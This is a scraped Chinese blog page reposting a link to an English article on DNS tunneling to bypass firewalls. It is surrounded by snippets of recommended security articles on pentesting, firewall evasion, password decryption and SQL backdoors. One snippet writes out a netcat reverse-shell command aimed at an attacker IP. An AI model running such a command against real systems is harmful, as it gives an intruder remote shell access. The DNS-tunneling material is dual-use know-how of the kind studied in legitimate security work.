[转]Tunneling Data and Commands Over DNS to Bypass Firewalls

DNS隧道技术深入解析
最新推荐文章于 2024-07-24 16:16:44 发布
原创 最新推荐文章于 2024-07-24 16:16:44 发布 · 113 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#运维

本文详细探讨了DNS隧道技术的工作原理、实现方式及其在不同场景的应用。通过具体案例，展示了如何利用DNS请求进行数据传输，提高了对网络通信底层机制的理解。
[url]https://zeltser.com/c2-dns-tunneling/[/url]
[url]https://news.ycombinator.com/item?id=9874295[/url]
Pentest Tips and Tricks
玄冰幽阁
05-27 2756
Pentest Handy Tips and Tricks. Contents Other PartsNmap Full Web Vulnerable ScanDirb Dir Bruteforce:Nikto web server scannerWordPress ScannerHTTP FingerprintingSKIP Fish ScannerNmap Ports ScanNC
how to hack
热门推荐
xnix相关的收藏
08-25 3万+
                           ==Phrack Inc.==               Volume 0x0b, Issue 0x3f, Phile #0x0c of 0x0f|=---------------------------=[ How to Hack ]=--------------------------=||=-----------------------
[转]Running a Proxy-Arp LVS-NAT Director/Firewall with Keepalived
cnhome的专栏
03-05 5225
转一篇英文的关于LVS应用的文章  Running a Proxy-Arp LVS-NAT Director/Firewall with Keepalived(C) 2003 Vince Worthington, released under GPL How to have one Linux box be your LVS-NAT director with Keep
确保服务器支持最新的TLS版本，如TLS 1.3，它在安全性和性能方面都有显著提升
BLOG域名:programb.blog.youkuaiyun.com
04-22 542
- 证书的有效期至关重要，过期的证书会导致连接被客户端拒绝。除了使用`openssl`工具检查证书细节外，还可以在服务器的证书管理界面查看证书的到期时间。对于生产环境，应设置提醒机制，提前更新即将过期的证书。 - 证书的颁发机构必须是受信任的。如果证书是自签名的，需要将其根证书手动导入到客户端的信任列表中，确保客户端能够验证服务器的身份。
libcurl programming tutorial
weicaijiang的专栏
10-08 789
libcurl programming tutorial Related:  Examples  API NAME libcurl-tutorial - libcurl programming tutorial Objective This document attempts to describe the general principles and s
dns2tcp-client-android:适用于Android的dns2tcp客户端
05-15
Dns2tcp是用于通过DNS中继TCP连接的工具。 仅存在简单的识别机制，而没有加密：必须将DNS封装视为不安全的匿名传输层。 资源应该是ssh，ssltunnel之类的公共外部服务。 这适用于非root用户和root用户android。 建造 ...
Phonon-assisted tunneling and two-channel Kondo effect in a vibrating molecular dot coupled to Luttinger liquid leads
02-10
We study the joint effects of the electron-phonon interaction (EPI) and intralead electron interaction (IEI) on the density of states (DOS) of a single-molecular quantum dot weakly coupled to ...
A new visual investigation into nanogold-based genechip assay by atomic force and scanning tunneling microscope
02-26
Conformations of surface atoms in various stages of nanogold-based genechip testing are scanned by the atomic force and scanning tunneling microscope. We intuitively observe the process and ...
一步一步测试DNS隧道
最新发布
imtech的博客
07-24 3357
Dns的解析过程；dns隧道的搭建；frp配合dns隧道建立代理；
[译]nmap绕过防火墙
iteye_16188的博客
10-17 5060
原文地址：http://resources.infosecinstitute.com/nmap-evade-firewall-scripting/ [color=blue]TCP ACK Scan (-sA)[/color] 发送ACK数据报比发送SYN数据包更好，因为如果远端主机存在主动防火墙，那么由于防火墙对于ACK数据报不产生log，因为防火墙把ACK数据包当成SYN数据包的应答。TCP...
arachni手册
iteye_16188的博客
10-30 1478
[b]快速开始[/b] [b]帮助[/b] 使用-h来查看arachni功能 arachni -h 当扫描进行时，可以使用回车键来暂停/恢复，中断，延缓执行，以及查看一个发现的问题的总结。 可以这样运行arachni： [code="java"]arachni http://test.com[/code] 将会加载所有的checks，在/plugins/defaults下的插件，审计...
[译]解密MSSQL密码
iteye_16188的博客
03-26 1244
原文地址： [url]https://blog.netspi.com/decrypting-mssql-database-link-server-passwords/[/url] [url]https://blog.netspi.com/decrypting-mssql-credential-passwords/[/url] (一)Linked Servers MSSQL在数据库中hash...
[译]使用sql创建后门
iteye_16188的博客
10-10 922
原文地址：http://resources.infosecinstitute.com/backdoor-sql-injection/ 在读本文之前应该参考http://resources.infosecinstitute.com/blind-sql-injection/ 本文的目的是通过sql注入漏洞来执行任意命令。为了运行OS命令，我们需要有一个命令行shell(CMD)，或者运行允许我...
netcat反弹shell
iteye_16188的博客
09-01 835
注意：如果想要在小于1024的端口做监听，那么需要root权限 一)通用场合 1. 自己机器：nc —nvlp 443 2. 目标机：nc attacker'sIP 443 —e /bin/bash -n：不解析域名 -v：显示连接信息 -l：处于监听状态 -p：端口号(有时需要单独把-p选项拿出来) 二）如果不支持-e选项：如果代码编译的时候没有指定GAPING_SECURITY_...
the-backdoor-factory
iteye_16188的博客
11-27 823
参考：[url]https://github.com/secretsquirrel/the-backdoor-factory[/url] 貌似很有趣，值得深入了解了解 :wink: [b]安装过程[/b] [code="java"]1. easy_install wget "https://pypi.python.org/packages/source/e/ez_setup/ez_set...
利用DNS隧道技术，browsertunnel实现从浏览器窃取数据
根据标签“dns”、“dns-tunneling”和“Go”可得知，讨论的焦点将围绕DNS隧道技术和Go编程语言。DNS隧道技术的讨论会涉及如何通过DNS协议传输数据以及这种方式的潜在安全风险。Go语言是Browsertunnel项目开发所使用...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值